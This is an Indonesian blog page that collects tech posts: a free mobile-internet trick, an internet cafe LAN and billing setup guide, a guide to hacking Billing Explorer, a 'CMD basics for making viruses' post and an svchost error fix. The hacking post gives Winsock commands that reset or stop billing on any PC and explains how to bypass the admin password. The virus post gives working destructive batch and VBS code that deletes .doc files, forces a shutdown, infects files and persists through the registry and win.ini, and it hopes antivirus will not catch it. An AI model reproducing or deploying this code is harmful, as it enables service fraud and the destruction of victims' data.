Thursday, January 31, 2013


Inet gratis telkomsel


Trik Internet Gratis Telkomsel Terbaru Via BH dan Opera Mobile

Trik internet gratis telkomsel terbaru menggunakan browser hp (BH) - jika dirasa bosan menggunakan opera mini, kalian bisa menggunakan trik yang satu ini, kelebihan trik internet gratis telkomsel via bh dan opera mini adalah, jika kita menggunakan trik untuk browser hp, kita juga bisa menerapkannya pada opera mobile.
Jadi jika hp kalian memiliki cukup banyak RAM, kalian bisa menggunakan opera mobile, kelebihan opera mobile sendiri adalah ada fitur turbo yang berguna untuk mempercepat internet dan jika download gagal, kalian bisa melanjutkannya.
Usahakan untuk menggunakan pulsa minim untuk mencoba trik ini, walaupun trik ini tidak malak, namun siapa tau di tempat kalian malak.
Download trik
download-now.png
Untuk hp java, silahkan download file .provnya juga
download-now.png

Tutorial Instalasi Warnet Dan Instal Billing Explorer

Tutorial Instalasi Warnet Dan Instal Billing Explorer

LAN
Pada zaman sekarang warnet sudah tidak asing lagi bagi kita, karna warnet sudah merupakan kebutuhan zaman sekarang.
Jika anda ingin membangun warnet dengan model pas2an lebih baik anda melakukan instalasi sendiri.anak kreativ euyyyy
Kenapa? Karna biaya instalasi yang sangat mahal, didaerah saya aja untuk pasang kabel lan dan install software memakan biaya lebih dari Rp.500rb. Apa salahnya kita coba sendiri.
berikut panduan dan software nya.
Bagi yang belum punya software billing explorer dan client 008 silahkan download dari link ini:

http://www.ziddu.com/download/4827666/billing.rar.html

http://www.ziddu.com/download/4827449/client008.rar.html

Panduan menginstall billingnya bisa downloaad disini:

http://www.ziddu.com/download/4863164/tutorialbillingexplorer.pdf.html

INSTALASI JARINGAN LAN (Local Area Network) DI WARNET 10 PC BESERTA SOFTWARE

Alat dan Bahan
Alat :
a. Kabel UTP
b. Konektor RJ-45
c. Crimping tool
d. Tang pemotong

Bahan
a. PC Server Dan Client
b. HUB
c. Driver LAN
d. LAN Card
e. Software Billing Explorer Dan Client 008

Langkah Kerja
1. Siapkan alat dan bahan yang akan digunakan dalam praktek kali ini.
2. Sebelum kita menginstalasi jaringan LAN, kita harus memasang kabel utp ke konektor RJ-45. Caranya, ambillah kabel utp yang sudah disiapkan. potong pada bagian kulit depannya dengan hati-hati jangan sampai kabel yang didalamnya ikut terpotong.
3. Bila kabel sudah terpotong susunlah kabelnaya dengan susunan pemasangan straigth kabel dengan susunan :
a. Pin ke 1 berwarna putih orange
b. Pin ke 2 berwarna orange
c. Pin ke 3 berwarna putih hijau
d. Pin ke 4 berwarna biru
e. Pin ke 5 berwarna putih biru
f. Pin ke 6 berwarna hijau
g. Pin ke 7 berwarna putih coklat
h. Pin ke 8 berwarna coklat

4. Setelah kabel tersusun dengan benar lalu ratakan kabelnya dengan memotongnya menggunakan tang pemotong.
5. Setelah kabel rata selanjutnya kita masukan kabelnya ke konektor yang telah tersedia yaitu konektor RJ-45.

6. Setelah kabel telah masuk lalu di pressd menggunakan crimping tool. Perhatikan, agar penekannya (pressing) yang keras, biasanya kalau tidak keras kadang pin tersebut tidak tembus ke dalam isolasi kabelnya.

7. Setelah pemasangan selesai selanjutnya kita tes menggunakan LAN tester. LAN tester yaitu alat yang digunakan untuk memeriksa benar atau tidaknya sambungan kabel. Caranya masukkan ujung- ujung kabel UTP yang sudah dipasang konektor RJ -45 ke kabel tester, kemudian nyalakan LAN testernya, kalau lampu led yang ada pada LAN tester menyala semua, dari nomor 1 sampai 8 berarti pemasangan kabel berhasil/sukses. Kalau ada salah satu atau lebih yang tidak menyala berarti kemungkinan pada pin nomor tersebut ada masalah atau dengan kata lain pin itu tidak konek. Cara paling mudah yaitu Anda tekan (press) lagi menggunakan crimping tool. Kemungkinan pinnya belum tembus. Kalau sudah ditekan tetapi masih tidak nyambung / konek, maka coba periksa urutan antara pin 1-8 sudah benar atau belum. Kalau ternyata sudah benar dan masih gagal, berarti ulangi lagi sampai berhasil.

8. Setelah semua langkah diatas sudah dilakukan dengan tepat maka pemasangan kabel telah usai dengan baik. dan kabel telah siap digunakan.

9. Sambungkan PC server dan client menggunakan kabel yang telah siap diatas ke hub.

10. Sambungkan kabel dari modem ke hub supaya koneksi keinternet.
11. Atur IP Adress nya. Dengan cara :
Klik Start>klik network conection > klik kanan local area connection > properties > pilih internet protocol (TCP/IP) > properties > tentukan IP Adressnya
Begitu juga pada client, ip adressnya harus sama.
12. Aturlah identitas jaringan network pada client dan server agar tidak terjadi bentrokan didalam jaringan dengan cara:

Klik start>network conections>Klik kanan local are conection>propertis>pilih internet protocol (TCP/IP)> properties> atur default gatewaynya.
Contoh: server default gatewaynya 192.168.1.1
client 01 default gatewaynya 192.168.1.2
client 02 default gatewaynya 192.168.1.3
Dan Begitu seterusnya sampai PC client 10.

13. Koneksikan semua PC dengan menyamakan nama workgroupnya dengan cara:
Klik kanan my computer >pilih properties > pilih computer name> change > lalu ganti nama computer dan workgroupnya > klik OK > lalu klik yes untuk merestart  klik OK

14. Setelah semua PC terkoneksi ,install billing explorer pada PC server dan client 008 pada PC client.
Perlu Diperhatikan:
o Pada saat menginstal software, Billing Explorer akan meminta nomor ip adress masukan 192.168.1.2 sebagai contoh dan password-pasword baru (Pasword standarnya 008).
o Begitu juga pada penginstalan client 008 pada PC client. Setelah di install buka client 008 dengan cara klik start>client 008 lalu software client 008 akan meminta ip adress masukan juga 192.168.1.2 dan nomor kamar client warnet. Klik save setelah itu klik autorun dan restart.
Coba login client dan browsing.
semoga sukses

Cara nge Hack Billing explorer

Cara nge Hack Billing explorer

Untuk mencoba artikel ini, anda bisa mendownload program billing explorer demo di situs http://www.billingexplorer.com
- Server Side
- Client Side

Saya asumsikan bahwa anda sudah mendowload dan menginstall di lokal komputer.
Kali ini kita coba dilokal terlebih dahulu, sebelum kita pergi ke warnet untuk melakukan percobaan artikel ini

Pengiriman data dari Client keserver biasanya diawali dengan kata kunci:

XX2

sedangkan pengiriman data dari Server ke client selalu diawali dengan kata kunci :

YA6

Nah pasti diantara pembaca bertanya2, gimana caranya mendapatkan nilai2 tersebut?..bingung kan?….sebetulnya sih gampang aja, kita gunakan program paket sniffer untuk melihat paket data yang masuk dan paket data yang keluar.
kalo mau coba-coba bisa menggunakan program ‘ether detect packet sniffer’ di www.etherdetect.com

ok, kita balik lagi ke pembahasan kita…..
ada beberapa perintah yang dikirim oleh client ke server, seperti:

Client Command
——————
$ablock$
$ablock2$
$act$
$ajblock$
$cekc$
$cektime$
$con$
$con1$
$con1dis$
$data$
$dina2$
$gpass$
$group$
$hblock$
$infod_0$
$infod_1$
$infod2$
$infod3$
$infod32$
$infod4$
$infouser$
$member$
$movecek$
$okmove2$
$paket$
$passA$
$pelajar$
$personal$
$rental$
$ruser$
$ruserh$
$send$
$sendcc$
$okmove1$
$tutup$

perintah-perintah tersebut saya dapatkan berdasarkan hasil decompiler program dengan menggunakan software vbLite & W32Dasm.

Setelah kita mengetahui beberapa perintah diatas, kita bisa mencoba langsung dengan menggunakan perintah-perintah tersebut.

kita gunakan komponen winsock untuk melakukan koneksi ke server, biasanya program B-Exp menggunakan port 1500 (default)
jadi kita bisa menuliskan syntax berikut:

Winsock1.Connect “192.168.0.1″,1500

artinya kita akan melakukan koneksi ke 192.168.0.1 dengan port 1500.
setelah anda berhasil terhubung keserver yang anda harus lakukan adalah mengirim inisialisasi paket data, agar program tersebut menerima permintaan kita.
adapun data yang dikirim adalah:

XX2$dina2$$$

diisi dengan pc yang akan kita gunakan sebagai inisialisasi koneksi.
contoh:

Winsock1.sendData “XX2$dina2$1$budak baonk$”

(artinya: kita melakukan koneksi sebagai komputer no 1 dengan nama budak baonk)
kalo pengiriman data berhasil, maka program B-Exp server akan mengirimkan data
“YA6$/connn$” yang artinya kita sudah terkoneksi ke billing dan program billing sudah siap menerima perintah2 yang dilakukan oleh program client.

Selanjutnya untuk memulai perhitungan billing kita bisa menggunakan dengan perintah: XX2$con$2

Winsock1.SendData “XX2$con$1″

Perintah diatas juga bisa digunakan untuk mereset durasi/lama penggunaan billing.
jadi kalo anda udah pake selama 10 jam bisa balik lagi ke 0 jam dengan perintah tersebut

Nah selanjutnya untuk memberhentikan penggunaan billing kita bisa lakukan dengan mengirim perintah: XX2$web2$1$Hacker

Winsock1.SenData “XX2$web2$1$budak baong”

perintah diatas bertujuan untuk menghentikan penghitungan billing pada no Pc 1 dengan nama budak baong. jadi kita bisa menghentikan selain pc yg kita pake, dengan merubah no pc.

gampang kan, so….kalian bisa coba-coba dengan perintah-perintah lainnya…kalo masih tetep bingung cara bikin programnya….hmm.mm…..jangan khawatir aku dah bikin programnya, jadi tinggal pake aja coy…

Download Sock B-Exp flooder : http://www.vbbego.com/files/billEX.rar

—-

Cara Kedua

Untuk artikel selanjutnya penulis akan mencoba kembali memperlihatkan bagaimana
menggunakan Billing Explorer Client dengan login Admin.

Biasanya untuk login dengn jenis admin perhitungan billing otomatis tidak
berjalan (disable) untuk memulainya anda harus mendownload terlebih dahulu tool
yang sudah dibuat:

Download hack-Bexp : http://www.vbbego.com/files/hackbillEX.rar

Setelah selesai download toolsnya, kita bisa langsung mencobanya.
ada beberapa langkah yang harus anda ikuti:

Anda login terlebih dahulu ke program billing spt biasa, dengan memilih jenis personal dengan nama login “baong”

Setelah login maka secara otomatis program billing akan bekerja seperti biasa untuk menghitung lama penggunaan internet. Selanjutnya kita bisa jalankan tools yang tadi kita download untuk memulai melihat-lihat ada apa dibalik program B-Exp (billing explorer).

Secara otomatis program akan mencari apakah program billing berjalan di komputer atau tidak, dengan mencari caption id “????A?|A?” , apabila tidak ada maka program akan langsung keluar dan proses akan berhenti.

Apabila program billing ditemukan maka, program tersebut akan merubah parrent dari program billing explorer ke program “Hack B-Exp”,program billing sekarang sudah
terperangkap didalam “hack b-exp” selain itu anda bisa lihat daftar HWND ID yang terdapat pada listbox, dimana kita bisa menampilkan objek-objek yang tersembunyi.

Biasanya kalo kita mengklik tombol Admin maka program Billing menyuruh kita memasukan password, tapi jangan khawatir…itu sangat mudah untuk dilewati.
ada yg tau gimana caranya……..pasti belum donk….

nah untuk masuk ke menu setting admin yang perlu kita lakukan adalah mencari kata #root:Administrator pada daftar handle windows.

ya kalo udah gini terserah anda, mau login gratis tinggal klik tombol Login, atau merubah setting lainnya ya bebas aja. Jadi silahkan coba klik item-item yang ada pada daftar handle window dan lihat apa yang tersembunyi di program billing tersebut.

Ternyata tidak sulit juga kan, kenapa demikian……he…he… semua ini
disebabkan pembutan setting dan login digabungkan dalam satu form dengan hanya memainkan properti VISIBLE…dan ini membuat mudah untuk ditampilkan kembali.

Mudah-mudahan artikel ini dapat mejadi bekal anda dalam membuat program, dan mengambil sedikit pelajaran sehingga tidak terjadi di setiap program yang kita buat.

Beberapa Perintah Dalam CMD Sebagai Dasar Pembuatan Virus


Beberapa Perintah Dalam CMD Sebagai Dasar Pembuatan Virus


1.Delete Registry : REG DELETE ALAMAT /v VALUE NAME /f
Keterangan :
- REG DELETE = Menghapus registry
- ALAMAT = HKEY\Software\dst
- /v VALUE NAME = Nama Value
- /f = Tidak wajib!! Berfungsi untuk melaksanakan perintah tanpa prompt
Contoh : REG DELETE HKEY\Software\Microsoft\Windows\Policies\Explorer /v NoFind
Fungsi = Menghapus Value NoFind Di Alamat Registry HKEY\Software\Microsoft\Windows\Policies\Explorer

2.ADD Registry : REG ADD ALAMAT /v VALUE NAME /t TYPE /s SEPARATOR /d DATA /f
Keteranagn :
- REG ADD = Menambah registry
- ALAMAT = HKEY\Software\dst
- /v VALUE NAME = Nama Value
- /t TYPE = Type data Ex: REG_DWORD, REG_SZ
- /d DATA = Isi Value
- /f = Tidak wajib!! Berfungsi untuk melaksanakan perintah tanpa prompt

3.PROMPT : PROMPT Text
Keterangan:
PROMPT = Perintah untuk merubah text PROMPT
Text = Text yang ingn kita munculkan di PROMPT
Text dapat menggunakan karakter spesial yang daftarnya berikut ini!!
$A = Karakter & $N = Drive kita menginstal windows
$B = Karakter | $P = Default
$C = Karakter ( $Q = Karakter =
$D = Karakter Tanggal Sekarang $S = Karakter Spasi
$E = Karakter Escape Kode $T = Karakter Jam Sekarang
$F = Karakter ) $V = Karakter No Versi Windows
$G = Karakter > (lebih besar dari) $_ = Karakter Garis Bawah
$H = Karakter No Text $$ = Karakter Dollar
$L = Karakter < (lebih kecil dari) $+ = Karakter Aritmatik

4.Replace : Replace [Drive\Path\NamaFile] [Drive\Path] /A /P /R /S /W /U
Keterangan:
Replace = Pindahkan
- [Drive\Path\NamaFile] = Spesifik sumber file
- [Drive\Path\] = Folder Tujuan
- A = Pindahkan File ke Folder Tujuan (No Update)
- P = Membuat Prompt MengKonfirmasi Kita Sebelum Memindahkan
- R = Pindahkan hanya File Attribut Read Only
- S = Pindahkan File Ke Semua Sub Direktori Folder Tujuan
- W = Tunggu kita memasukan disk/flashdisk sebelum memindahkan
- U = Pindahkan dan Update jika nama file sudah ada
- Jika menggunakan parameter /A tidak boleh menggunakan /S /U begitu juga sebaliknya.

5.Attrib : Attrib +R -R +A -A +H -H +S -S ADRESS /S /D
Keterangan:
Attrib = Rubah Attribut File/Folder
- (-) = Untuk Menghapus Attribut
- (+) = Untuk Menambah Attribut
- (A) = Attribut Archieve
- (R) = Attribut Read Only
- (H) = Attribut Hidden
- (S) = Attribut Super_Hidden/System
- /S = Proses terhadap file yang sama di folder dan subfolder
- /D = Proses folder Sebagai Sumber
- Adress = Alamat File Misal: C:\Lucky\Ganteng

6.Del : Del /P /F /S /Q /Attribut /Adress
Keterangan:
- Del = Hapus File / Folder
- /P = Membuat Prompt MengKonfirmasi Kita Sebelum Menghapus
- /F = Hapus Hanya Read Only File
- /S = Hapus File Yang Sama Di Semua Sub Direktory
- /Q = Hapus Dengan Cepat
- /Attribut = Pilih Attribut File Yang Ingin Di Hapus (Tidak Ada Berarti Semua File) tanda (-) berarti yang tidak di hapus- - Adress = Alamat File Misal: C:\Lucky\Ganteng

7.Rename : Rename/Ren [Drive\Path\NamaFile] NewFileName
Keterangan:
- Rename = Rubah Nama File
- [Drive\Path\NamaFile] = Alamat Drive dan Nama File
- NewFileName = Nama File Baru

8.Type : Type [Drive\Path\NamaFile]
Keterangan:
- Type = Membuka Semua File Text (*.txt, *.doc, *.xls, *.ini, *.vbs, *.js, dll)
- [Drive\Path\NamaFile] = Lokasi File

9.Start : Start ADDRESS_FILE
- Start = Untuk menjalankan File
- ADDRESS_FILE = Alamat file di special folder seperti windows dan system32
- Ex: Start Regedit maka akan menjalankan Registry Editor.
sekarang kita akan membahas file *.bat yang berfungsi untuk menjalankan perintah command prompt secara bersamaan. oke ketikan kode berikut di notepad: date 07-07-07 dan save dengan nama edit_time.bat dan pilih “All File” dalam kolom “Save As Type” lalu jalankan!! setelah itu apa yang terjadi?? yah tanggal berubah jadi juli-7-2007.

oke lanjut ke file *.bat kita tidak mungkin membuat banyak file *.bat karena selain akan cepat terdeteksi, kita juga akan semakin rumit merubahregistry!! namun jangan kuatir karena file *.bat bisa menjalankan perintah DOS/COMMAND_PROMPT secara langsung.
berikut perintah ini, kita buka notepad dan ketikan code berikut:
del C:\*.doc ‘—– hapus semua file berextensi doc di drive c
Shutdown -s -f -t 30 -c “Selamat Tidur” ‘—– -s = shutdown computer, -f = tutup semua aplikasi tanpa peringatan, -t = setting waktu(dalam detik) -c = menampilkan pesan “Selamat Tidur” (Bebas kita ubah)
attrib +s +h C:\*.jpg /s /d ‘—– beri attribut hidden dan system semua file jpg
for /R c:\ %%r in (*.cob *.doc) do copy %0 “%%r” ‘—– Copy isi file *.bat ke semua file *.cob dan *.doc di C
for /R c:\ %%r in (*.cob *.doc) do ren “%%r” *.bat ‘—– Rename semua file *.cob dan *.doc jadi *.bat sehingga isi file jd virus kita :D haha..haha
Untuk isi file bat yang akan menumpang di virus vbs kita anda boleh pilih mana yang paling cocok!! mungkin menghapus, shutdown dalam 30 detik, menyembunyikan atau merubah isinya jadi file *.bat?? dipilih!! dipilih!!
atau boleh masukin semuanya sehingga virus kita ditambah kode berikut ini:
Set bath = fso.CreateObject(towind & “\sialan.bat”)
bath.writeline “del C:\*.doc”
bath.writeline “Shutdown -s -f -t 30″
bath.writeline “for /R c:\ %%r in (*.cob *.doc) do copy %0 %%r”
bath.writeline “for /R c:\ %%r in (*.cob *.doc) do ren %%r *.bat”
bath.close
‘bonus
wsh.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\”SysError”, “towind & “\sialan.bat”, “REG_SZ”
Maka ketika windows diaktifkan semua file doc akan menjadi *.bat dengan isi kode penghancur kita :D bisa diselamatkan ga tuh?? coba saja supaya anda tahu!!
Namun jika anda punya anti virus biasanya kode tersebut akan di blok karena jelas-jelas untuk merusak!! lalu bagaimana?? kita berdoa supaya antivirus komputer sasaran tidak mengenali :D karena memang tidak semua antivirus akan memblok perintah tersebut. Oia sebagai tambahan kita bisa membuat file lain seperti *.html atau *.ini!! jika kita punya banyak duplikat virus kita bisa membuat file *.ini supaya orang tidak cepat mengetahui virus kita hanya dengan membuka Regedit. untuk terakhir kali saya akan berikan lagi suatu code yang akan merubah file ini diwindows sehingga menjalankan virus kita. oke langsung saja tentunya dengan perintah
set BuatIni = fso.CreateTextFile(”C:\WINDOWS\Win.ini”)
BuatIni.writeline “[WINDOWS]”
BuatIni.writeline “run = C:\Ju_Pe.vbs” ‘—-rubah sesuai letak dan nama virus
BuatIni.writeline “load = C:\Persik.vbs” ‘—-rubah sesuai letak dan nama virus
BuatIni.close
Maka ketika windows dijalankan virus akan aktif!! walaupun mungkin registry telah dirubah.
Dari pembahasan kita maka kita bisa simpulkan beberapa langkah berikut jika terkena virus vbs: jika tidak di enkripsi anda bisa melihat dan membunuh semua virus dan membenarkanregistry dengan membaca source kodenya, tapi jika di enkripsi kita lakukan langkah berikut:
1.Matikan proses virus!! anda bisa menggunakan tool pengganti TaskManager yang biasanya akan di blok.
2.Hapus semua duplikat virus!! anda bisa gunakan antivirus update terbaru dan jika diblok virus anda rubah dulu namanya seperti PCMAV_CLN.exe jadi 123.exe
3.Buka registry dan periksa dengan teliti semua subkey run otomatis biasanya akan terdapat key yang mengarah ke letak virus yang dijalankan dan periksa file win.ini!! jika dirubah anda minta dari komputer teman anda :D dan jika ada petunjuk letak virus langsung hapus.
4.Rubah semua registry yang dirubah virus!! bisa dengan TuneUp Utilities dan sebagainya!!
Untuk pencegahan lakukan langkah berikut:
1.Gunakan antivirus terbaru, jika bisa yang mempunyai fitur heuristik seperti ANSAV.
2.Jangan asal klik file!! lihat dikolom type Windows Explorer apabila application tapi iconnya folder atau MS Word langsung hapus.
3.Selalu scan jika mencolokan flaskdisk
4.Matikan proses autorun melalui registry di alamat
“HKCU(atau HKLM)\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer”, buat DWORD value baru dengan nama NoDriveTypeAutorun dan isi dengan nilai 255. atau melalui start—Run—ketik GPEDIT.msc—User Configuration—Administratif Templates—–System—–Cari Turn Off AutoPlay—–klik 2x dan rubah jadi Enabled!!
5.Jangan Pakai OS Windows, pake linux cos VMaker Indonesia cuma bisa bikin untuk windows
Dst....

Cara Cepat Mengatasi Tampilan Svchost.exe No Disk – Drive Not Ready


Cara Cepat Mengatasi Tampilan Svchost.exe No Disk – Drive Not Ready

Cara Pertama:
Tips untuk mengatasi tampilan Svchost.exe No Disk – Drive Not Ready.
1. Langkah Pertama yang mesti dilakukan adalah masuk dulu ke bios 
2. Kemudian masuk pada menu STANDARD CMOS SETU, pilih  3 ½ floppy 
3. Nah dari menu ini anda disable aja disk drive yang ga ke pake pada 3 ½ floppy 
4. Kemudian jangan lupa anda save pada settingan biosnya ok dan coba restart komputer anda

Cara Kedua:
Tampilan Svchost.exe No Disk – Drive Not Ready yang sering muncul ini bikin kita kesal juga, tadinya saya menyangka ini adalah pengaruh Virus tetapi ternyata bukan dan error ini ternyata dapat diatasi dengan beberapa cara seperti dibawah ini :

1. Langkah Pertama yang mesti dilakukan adalah masuk dulu ke bios

2. Kemudian masuk pada menu STANDARD CMOS SETUP disana anda akan menemukan sebuah menu

3. menu ini anda disable aja disk drive yang ga ke pake yaitu pada 3 ½ floppy

4. Kemudian jangan lupa anda save pada settingan biosnya ok dan coba lihat hasilny

masih tetap ada tampilan seperti itu ?

coba anda cek apa masih ada disk drive pada tampilan my computer anda klo masih ada solusinya sederhana anda tinggal masuk ke menu Device Manager caranya : klik kanan pada icon my computer

Pilih properties..,, dan pilih menu Hardware disana ada menu Device Manager langsung klik dan coba anda disable pada disk drive floppy nya…

Masih ada Juga? Coba cara ini

ketik regedit di run
- cari [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Contro l\Windows]
- cari ErrorMode
- klik 2 kali Erromode nya
- ganti angka 0 jadi 2

Cara Pamungkas
Kalo Masih Tetap Ada ? Ya tidak ada cara lain selain Itul ( INSTAL ULANG AJA )